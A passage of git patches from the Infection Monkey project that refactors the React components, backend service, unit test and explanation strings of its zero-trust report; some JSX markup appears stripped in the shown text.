ZeroTrustReportPageComponent extends AuthComponent { if (this.stillLoadingDataFromServer()) { content = ; } else { + console.log(this.state.pillars); const pillarsSection =

    Pillars Overview

    - +
    ; const directivesSection =
    diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js similarity index 63% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js index 15e38607c..0636ab679 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js @@ -1,6 +1,7 @@ import React, {Component} from "react"; import {PillarLabel} from "./PillarLabel"; import PaginatedTable from "../common/PaginatedTable"; +import {PillarsSummary} from "./PillarsSummary"; const columns = [ { @@ -17,10 +18,14 @@ const columns = [ } ]; -class PillarGrades extends Component { +class PillarOverview extends Component { render() { - return ; + return (
    + +
    + +
    ); } } -export default PillarGrades; +export default PillarOverview; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js new file mode 100644 index 000000000..e029b50e6 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js @@ -0,0 +1,29 @@ +import React, {Component, Fragment} from "react"; +import {PillarLabel} from "./PillarLabel"; + +export class PillarsSummary extends Component { + render() { + return (
    + {this.getStatusSummary("Conclusive")} + {this.getStatusSummary("Inconclusive")} + {this.getStatusSummary("Positive")} + {this.getStatusSummary("Unexecuted")} +
    ); + } + + getStatusSummary(status) { + console.log(this.props.pillars); + if (this.props.pillars[status].length > 0) { + return +

    {status}

    +

    + { + this.props.pillars[status].map((pillar) => { + return + }) + } +

    +
    + } + } +} From 785bc4f109a87a2a356a938cd28b48fa4b32ee87 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 15 Aug 2019 10:17:38 +0300 Subject: [PATCH 084/276] Extracted the security issues glance component --- .../cc/ui/src/components/pages/ReportPage.js | 16 +++----------- .../common/SecurityIssuesGlance.js | 22 +++++++++++++++++++ 2 files changed, 25 insertions(+), 13 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 4da1c0bac..12d51202d 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -1,4 +1,4 @@ -import React, {Component} from 'react'; +import React from 'react'; import {Button, Col} from 'react-bootstrap'; import BreachedServers from 'components/report-components/security/BreachedServers'; import ScannedServers from 'components/report-components/security/ScannedServers'; @@ -16,11 +16,11 @@ import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeade import {MonkeysStillAliveWarning} from "../report-components/common/MonkeysStillAliveWarning"; import ReportLoader from "../report-components/common/ReportLoader"; import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; +import {SecurityIssuesGlance} from "../report-components/common/SecurityIssuesGlance"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); - class ReportPageComponent extends AuthComponent { Issue = @@ -165,17 +165,7 @@ class ReportPageComponent extends AuthComponent {

    Overview

    - { - this.state.report.glance.exploited.length > 0 ? - (

    - - Critical security issues were detected! -

    ) : - (

    - - No critical security issues were detected. -

    ) - } + 0}/> { this.state.report.glance.exploited.length > 0 ? diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js new file mode 100644 index 000000000..f734a1a28 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js @@ -0,0 +1,22 @@ +import React, {Component, Fragment} from "react"; +import * as PropTypes from "prop-types"; + +export class SecurityIssuesGlance extends Component { + render() { + return + { + this.props.issuesFound ? + (

    + + Critical security issues were detected! +

    ) : + (

    + + No critical security issues were detected. +

    ) + } +
    + } +} + +SecurityIssuesGlance.propTypes = {issuesFound: PropTypes.bool}; From db85dfe24afc82a3a00dcd390b7373659b14ca22 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 15 Aug 2019 10:23:06 +0300 Subject: [PATCH 085/276] Added sec issues to ZT report as well and gridified the overview section --- .../components/pages/ZeroTrustReportPage.js | 33 ++++++++++++++----- .../zerotrust/PillarLabel.js | 2 +- .../zerotrust/PillarOverview.js | 2 -- .../zerotrust/PillarsSummary.js | 4 +-- 4 files changed, 27 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 3bc0e38e1..fd464da80 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -1,5 +1,5 @@ import React from 'react'; -import {Button, Col} from 'react-bootstrap'; +import {Button, Col, Row, Grid} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; import PillarsOverview from "../report-components/zerotrust/PillarOverview"; @@ -8,6 +8,8 @@ import {SinglePillarDirectivesStatus} from "../report-components/zerotrust/Singl import {MonkeysStillAliveWarning} from "../report-components/common/MonkeysStillAliveWarning"; import ReportLoader from "../report-components/common/ReportLoader"; import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; +import {SecurityIssuesGlance} from "../report-components/common/SecurityIssuesGlance"; +import {PillarsSummary} from "../report-components/zerotrust/PillarsSummary"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -60,12 +62,6 @@ class ZeroTrustReportPageComponent extends AuthComponent { if (this.stillLoadingDataFromServer()) { content = ; } else { - console.log(this.state.pillars); - const pillarsSection =
    -

    Pillars Overview

    - -
    ; - const directivesSection =

    Directives status

    { @@ -84,8 +80,19 @@ class ZeroTrustReportPageComponent extends AuthComponent {
    ; content =
    - - {pillarsSection} +

    Overview

    + + + + + + + + + + + + {directivesSection} {findingSection}
    ; @@ -140,6 +147,14 @@ class ZeroTrustReportPageComponent extends AuthComponent { }); }); } + + anyIssuesFound() { + const severe = function(finding) { + return (finding.status === "Conclusive" || finding.status === "Inconclusive"); + }; + + return this.state.findings.some(severe); + } } export default ZeroTrustReportPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js index 51f5f988f..958327a37 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js @@ -26,6 +26,6 @@ export class PillarLabel extends Component { }; const className = "label " + pillarToColor[this.props.pillar]; - return {this.props.pillar} + return
    {this.props.pillar}
    } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js index 0636ab679..a6c6f848f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js @@ -21,8 +21,6 @@ const columns = [ class PillarOverview extends Component { render() { return (
    - -
    ); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js index e029b50e6..8881eba7d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js @@ -16,13 +16,13 @@ export class PillarsSummary extends Component { if (this.props.pillars[status].length > 0) { return

    {status}

    -

    +

    { this.props.pillars[status].map((pillar) => { return }) } -

    +
    } } From e4cf3706ec74a5a315a5472faf0560fb8398e107 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 15 Aug 2019 10:42:19 +0300 Subject: [PATCH 086/276] Extracted status label --- .../components/pages/ZeroTrustReportPage.js | 32 +++++++++++-------- .../zerotrust/DirectivesStatusTable.js | 23 +++++++------ .../zerotrust/PillarLabel.js | 2 +- .../zerotrust/PillarsSummary.js | 5 ++- .../zerotrust/StatusLabel.js | 24 ++++++++++++++ 5 files changed, 58 insertions(+), 28 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index fd464da80..5795c275f 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -62,8 +62,24 @@ class ZeroTrustReportPageComponent extends AuthComponent { if (this.stillLoadingDataFromServer()) { content = ; } else { + const overviewSection =
    +

    Overview

    + + + + + + + + + + + + +
    ; + const directivesSection =
    -

    Directives status

    +

    Directives

    { Object.keys(this.state.directives).map((pillar) => ; content =
    -

    Overview

    - - - - - - - - - - - - + {overviewSection} {directivesSection} {findingSection}
    ; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js index 4f413f37f..8b82761cc 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js @@ -1,14 +1,10 @@ -import React from "react"; +import React, {Fragment} from "react"; import PaginatedTable from "../common/PaginatedTable"; import AuthComponent from "../../AuthComponent"; import 'styles/ZeroTrustPillars.css' +import {StatusLabel} from "./StatusLabel"; + -const statusToIcon = { - "Positive": "fa-clipboard-check status-success", - "Inconclusive": "fa-exclamation-triangle status-warning", - "Conclusive": "fa-bomb status-danger", - "Unexecuted": "fa-question status-default", -}; const columns = [ { @@ -19,7 +15,7 @@ const columns = [ }, { Header: 'Status', id: 'status', accessor: x => { - return ; + return ; } }, { Header: 'Tests', id: 'tests', @@ -39,12 +35,12 @@ class TestsStatus extends AuthComponent { const unexecutedStatus = "Unexecuted"; return ( -
    + {this.getTestsOfStatusIfAny(conclusiveStatus)} {this.getTestsOfStatusIfAny(inconclusiveStatus)} {this.getTestsOfStatusIfAny(positiveStatus)} {this.getTestsOfStatusIfAny(unexecutedStatus)} -
    + ); } @@ -58,9 +54,12 @@ class TestsStatus extends AuthComponent { const listItems = filteredTests.map((test) => { return (
  • {test.test}
  • ) }); - return
    {statusToFilter}
      {listItems}
    ; + return + +
      {listItems}
    +
    ; } - return
    ; + return ; } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js index 958327a37..b6b588876 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js @@ -18,7 +18,7 @@ export class PillarLabel extends Component { const pillarToIcon = { "Data": "fa fa-database", "People": "fa fa-user", - "Networks": "fa fa-tty", + "Networks": "fa fa-wifi", "Workloads": "fa fa-cloud", "Devices": "fa fa-laptop", "Visibility & Analytics": "fa fa-eye-slash", diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js index 8881eba7d..962afdd3c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js @@ -1,5 +1,6 @@ import React, {Component, Fragment} from "react"; import {PillarLabel} from "./PillarLabel"; +import {StatusLabel} from "./StatusLabel"; export class PillarsSummary extends Component { render() { @@ -15,7 +16,9 @@ export class PillarsSummary extends Component { console.log(this.props.pillars); if (this.props.pillars[status].length > 0) { return -

    {status}

    +

    + +

    { this.props.pillars[status].map((pillar) => { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js new file mode 100644 index 000000000..98ac1edb6 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js @@ -0,0 +1,24 @@ +import React, {Component, Fragment} from "react"; +import * as PropTypes from "prop-types"; + +const statusToIcon = { + "Positive": "fa-check status-success", + "Inconclusive": "fa-exclamation-triangle status-warning", + "Conclusive": "fa-bomb status-danger", + "Unexecuted": "fa-question status-default", +}; + +export class StatusLabel extends Component { + render() { + const classname = "fa " + statusToIcon[this.props.status] + " " + this.props.size; + let text = ""; + if (this.props.showText) { + text = " " + this.props.status; + } + return ( + {text} + ); + } +} + +StatusLabel.propTypes = {status: PropTypes.string, showText: PropTypes.bool}; From 3d96f719884524b13970e4662797173ea2f4f432 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 15 Aug 2019 10:54:30 +0300 Subject: [PATCH 087/276] Made statuslabel look better --- .../zerotrust/StatusLabel.js | 23 ++++++++++++------- 1 file changed, 15 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js index 98ac1edb6..68ce5111e 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js @@ -2,22 +2,29 @@ import React, {Component, Fragment} from "react"; import * as PropTypes from "prop-types"; const statusToIcon = { - "Positive": "fa-check status-success", - "Inconclusive": "fa-exclamation-triangle status-warning", - "Conclusive": "fa-bomb status-danger", - "Unexecuted": "fa-question status-default", + "Positive": "fa-check", + "Inconclusive": "fa-exclamation-triangle", + "Conclusive": "fa-bomb", + "Unexecuted": "fa-question", +}; + +const statusToLabelType = { + "Positive": "label-success", + "Inconclusive": "label-warning", + "Conclusive": "label-danger", + "Unexecuted": "label-default", }; export class StatusLabel extends Component { render() { - const classname = "fa " + statusToIcon[this.props.status] + " " + this.props.size; let text = ""; if (this.props.showText) { text = " " + this.props.status; } - return ( - {text} - ); + + return (
    + {text} +
    ); } } From 7006a2332f8c97bb25840ac7bb3d786f6c4e1372 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 15 Aug 2019 11:39:46 +0300 Subject: [PATCH 088/276] All labels now show status --- .../cc/resources/reporting/report.py | 3 +- .../reporting/test_zeroTrustService.py | 34 +++++++++++++++++++ .../services/reporting/zero_trust_service.py | 10 +++++- .../components/pages/ZeroTrustReportPage.js | 8 ++--- .../zerotrust/FindingsTable.js | 9 ++++- .../zerotrust/PillarLabel.js | 14 ++------ .../zerotrust/PillarOverview.js | 11 ++++-- .../zerotrust/StatusLabel.js | 2 +- ...Summary.js => StatusesToPillarsSummary.js} | 9 +++-- 9 files changed, 73 insertions(+), 27 deletions(-) rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{PillarsSummary.js => StatusesToPillarsSummary.js} (76%) diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index fba129e65..aa13468a3 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -28,7 +28,8 @@ class Report(flask_restful.Resource): elif report_type == ZERO_TRUST_REPORT_TYPE: if report_data == REPORT_DATA_PILLARS: return jsonify({ - "summary": ZeroTrustService.get_pillars_summary(), + "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(), + "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(), "grades": ZeroTrustService.get_pillars_grades() } ) diff --git a/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py b/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py index ff6e88982..7e7df7ad0 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py +++ b/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py @@ -1,3 +1,5 @@ +from unittest import TestCase + from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService from common.data.zero_trust_consts import * @@ -198,3 +200,35 @@ class TestZeroTrustService(IslandTestCase): } self.assertEquals(ZeroTrustService.get_directives_status(), expected) + + def test_get_pillars_to_statuses(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + self.maxDiff = None + + expected = { + AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED, + DEVICES: STATUS_UNEXECUTED, + NETWORKS: STATUS_UNEXECUTED, + PEOPLE: STATUS_UNEXECUTED, + VISIBILITY_ANALYTICS: STATUS_UNEXECUTED, + WORKLOADS: STATUS_UNEXECUTED, + DATA: STATUS_UNEXECUTED + } + + self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected) + + save_example_findings() + + expected = { + AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED, + DEVICES: STATUS_CONCLUSIVE, + NETWORKS: STATUS_INCONCLUSIVE, + PEOPLE: STATUS_INCONCLUSIVE, + VISIBILITY_ANALYTICS: STATUS_UNEXECUTED, + WORKLOADS: STATUS_UNEXECUTED, + DATA: STATUS_CONCLUSIVE + } + + self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected) diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index 835f869ea..bf2b9d6e8 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -116,7 +116,7 @@ class ZeroTrustService(object): return [json.loads(event.to_json()) for event in events] @staticmethod - def get_pillars_summary(): + def get_statuses_to_pillars(): results = { STATUS_CONCLUSIVE: [], STATUS_INCONCLUSIVE: [], @@ -128,6 +128,14 @@ class ZeroTrustService(object): return results + @staticmethod + def get_pillars_to_statuses(): + results = {} + for pillar in PILLARS: + results[pillar] = ZeroTrustService.__get_status_for_pillar(pillar) + + return results + @staticmethod def __get_status_for_pillar(pillar): grade = ZeroTrustService.__get_pillar_grade(pillar) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 5795c275f..0f0326f14 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -9,7 +9,7 @@ import {MonkeysStillAliveWarning} from "../report-components/common/MonkeysStill import ReportLoader from "../report-components/common/ReportLoader"; import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; import {SecurityIssuesGlance} from "../report-components/common/SecurityIssuesGlance"; -import {PillarsSummary} from "../report-components/zerotrust/PillarsSummary"; +import {StatusesToPillarsSummary} from "../report-components/zerotrust/StatusesToPillarsSummary"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -67,12 +67,12 @@ class ZeroTrustReportPageComponent extends AuthComponent { - + - + @@ -92,7 +92,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { const findingSection =

    Findings

    - +
    ; content =
    diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index ae1c41d49..b50a0e436 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -58,7 +58,7 @@ const columns = [ accessor: x => { const pillars = x.pillars; const listItems = pillars.map((pillar) => -
  • +
  • ); return
      {listItems}
    ; } @@ -74,6 +74,13 @@ const columns = [ class FindingsTable extends Component { render() { + const data = this.props.findings.map((finding) => { + const newFinding = finding; + newFinding.pillars = finding.pillars.map((pillar) => { + return {name: pillar, status: this.props.pillarsToStatuses[pillar]} + }); + return newFinding; + }); return ( ); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js index b6b588876..4559e5cd9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js @@ -1,20 +1,12 @@ import React, {Component} from "react"; import 'styles/ZeroTrustPillars.css' +import {statusToLabelType} from "./StatusLabel"; export class PillarLabel extends Component { pillar; + status; render() { - const pillarToColor = { - "Data": "label-zt-data", - "People": "label-zt-people", - "Networks": "label-zt-networks", - "Workloads": "label-zt-workloads", - "Devices": "label-zt-devices", - "Visibility & Analytics": "label-zt-analytics", - "Automation & Orchestration": "label-zt-automation", - }; - const pillarToIcon = { "Data": "fa fa-database", "People": "fa fa-user", @@ -25,7 +17,7 @@ export class PillarLabel extends Component { "Automation & Orchestration": "fa fa-cogs", }; - const className = "label " + pillarToColor[this.props.pillar]; + const className = "label " + statusToLabelType[this.props.status]; return
    {this.props.pillar}
    } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js index a6c6f848f..558da5456 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js @@ -1,14 +1,13 @@ import React, {Component} from "react"; import {PillarLabel} from "./PillarLabel"; import PaginatedTable from "../common/PaginatedTable"; -import {PillarsSummary} from "./PillarsSummary"; const columns = [ { Header: 'Pillar Grading', columns: [ { Header: 'Pillar', id: 'Pillar', accessor: x => { - return (); + return (); }}, { Header: 'Conclusive', accessor: 'Conclusive'}, { Header: 'Inconclusive', accessor: 'Inconclusive'}, @@ -19,9 +18,15 @@ const columns = [ ]; class PillarOverview extends Component { + pillarsToStatuses; render() { + const data = this.props.grades.map((grade) => { + const newGrade = grade; + newGrade.pillar = {name: grade.pillar, status: this.props.pillarsToStatuses[grade.pillar]}; + return newGrade; + }); return (
    - +
    ); } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js index 68ce5111e..a53e4c919 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js @@ -8,7 +8,7 @@ const statusToIcon = { "Unexecuted": "fa-question", }; -const statusToLabelType = { +export const statusToLabelType = { "Positive": "label-success", "Inconclusive": "label-warning", "Conclusive": "label-danger", diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js similarity index 76% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js index 962afdd3c..bfcaceed9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarsSummary.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js @@ -2,7 +2,7 @@ import React, {Component, Fragment} from "react"; import {PillarLabel} from "./PillarLabel"; import {StatusLabel} from "./StatusLabel"; -export class PillarsSummary extends Component { +export class StatusesToPillarsSummary extends Component { render() { return (
    {this.getStatusSummary("Conclusive")} @@ -13,16 +13,15 @@ export class PillarsSummary extends Component { } getStatusSummary(status) { - console.log(this.props.pillars); - if (this.props.pillars[status].length > 0) { + if (this.props.statusesToPillars[status].length > 0) { return

    { - this.props.pillars[status].map((pillar) => { - return + this.props.statusesToPillars[status].map((pillar) => { + return }) }
    From 21c3c9bf4d897e8d87f9c66426183b70a467920f Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 15 Aug 2019 12:27:21 +0300 Subject: [PATCH 089/276] Now returning full text data to the website --- monkey/common/data/zero_trust_consts.py | 51 +++++++++++++------ monkey/monkey_island/cc/models/finding.py | 4 +- .../reporting/test_zeroTrustService.py | 46 ++++++++--------- .../services/reporting/zero_trust_service.py | 6 +-- .../zerotrust/DirectivesStatusTable.js | 1 + 5 files changed, 64 insertions(+), 44 deletions(-) diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index c55ee160d..05edc4faa 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -47,54 +47,73 @@ DIRECTIVES = { POSSIBLE_STATUSES_KEY = u"possible_statuses" PILLARS_KEY = u"pillars" DIRECTIVE_KEY = u"directive_key" -FINDING_FORMAT_KEY = u"finding_format" -EXPLANATION_KEY = u"explanation" +FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation" +TEST_EXPLANATION_KEY = u"explanation" TESTS_MAP = { TEST_SEGMENTATION: { - EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.", - FINDING_FORMAT_KEY: u"The Monkey from {ORIGIN} communicated with a machine on a different segment.", + TEST_EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_CONCLUSIVE: "Monkey performed cross-segment communication. Check firewall rules and logs.", + STATUS_POSITIVE: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." + }, DIRECTIVE_KEY: DIRECTIVE_SEGMENTATION, PILLARS_KEY: [NETWORKS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_POSITIVE, STATUS_CONCLUSIVE] }, TEST_ACTIVITY_TIMELINE: { - EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.", - FINDING_FORMAT_KEY: u"Malicious activity performed by the Monkeys. See 'events' for detailed information.", + TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_INCONCLUSIVE: "Monkey performed malicious actions in the network. Check SOC logs and alerts." + }, DIRECTIVE_KEY: DIRECTIVE_ANALYZE_NETWORK_TRAFFIC, PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_INCONCLUSIVE] }, TEST_ENDPOINT_SECURITY_EXISTS: { - EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.", - FINDING_FORMAT_KEY: u"The Monkey on {ORIGIN} found no active endpoint security processes.", + TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_CONCLUSIVE: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.", + STATUS_POSITIVE: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern." + }, DIRECTIVE_KEY: DIRECTIVE_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_POSITIVE] }, TEST_MACHINE_EXPLOITED: { - EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.", - FINDING_FORMAT_KEY: u"The Monkey on {ORIGIN} attempted to exploit a machine on {TARGET}.", + TEST_EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_CONCLUSIVE: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.", + STATUS_INCONCLUSIVE: "Monkey tried exploiting endpoints. Check IDS/IPS logs to see activity recognized." + }, DIRECTIVE_KEY: DIRECTIVE_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_INCONCLUSIVE] }, TEST_SCHEDULED_EXECUTION: { - EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", - FINDING_FORMAT_KEY: "The Monkey on {ORIGIN} started running in an executed manner.", + TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_INCONCLUSIVE: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software." + }, DIRECTIVE_KEY: DIRECTIVE_USER_BEHAVIOUR, PILLARS_KEY: [PEOPLE, NETWORKS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_INCONCLUSIVE] }, TEST_DATA_ENDPOINT_ELASTIC: { - EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.", - FINDING_FORMAT_KEY: u"The Monkey on {ORIGIN} found an open ElasticSearch 